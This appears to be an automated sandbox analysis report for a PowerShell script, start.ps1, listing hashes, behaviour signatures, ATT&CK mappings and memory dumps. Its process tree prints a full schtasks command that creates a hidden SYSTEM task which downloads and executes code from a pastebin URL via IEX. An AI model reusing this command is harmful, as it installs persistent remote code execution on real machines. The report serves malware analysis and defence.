74544a16f620605e4812a5e1b9615388f2daafe0af8d96060d1d0a289cc3c656 | Triage

Resubmissions

20-12-2024 03:49

241220-edjqcaynaz 10

20-12-2024 03:47

241220-ecbcksymgz 10

Analysis

max time kernel
0s
max time network
289s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
20-12-2024 03:47

Sharing

Report Analysis Logs

General

Target

start.ps1
Size

2KB
MD5

2208ff484b710fa97536c08039a5c25c
SHA1

928c408e0668dd397464901f60ecaf559e9cece3
SHA256

5504e6eed79410349928af05caf3cbd4a8dc878ca68666dc348dee80dc31bc66
SHA512

0fd07a3f022438e009e7c9215f8e04643cba4c5ae678cfd4c3bcd9c468cff7ef9c8018622f82deee3ddcc29d62333014a8beff08c1ebee13b0a4f3cb4fbd9c1c

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

PowerShell

pid	Process
2404	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2676	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2404	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\start.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2404
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /sc MINUTE /mo 100 /tn "\Microsoft\windows\.NET Framework\log4" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''https://pastebin.com/raw/wG9Cy8HP'''))'" /F /ru System
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2676
- C:\Users\Admin\AppData\Local\Temp\kthmimu.exe
  "C:\Users\Admin\AppData\Local\Temp\kthmimu.exe"
  2⤵
  PID:2644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

PowerShell

Scheduled Task/Job

Scheduled Task

Persistence

Scheduled Task/Job

Scheduled Task

Privilege Escalation

Scheduled Task/Job

Scheduled Task

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2404-4-0x000007FEF617E000-0x000007FEF617F000-memory.dmp

Filesize
4KB

Download
memory/2404-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2404-7-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-6-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download
memory/2404-8-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-9-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-10-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-11-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-13-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2644-12-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download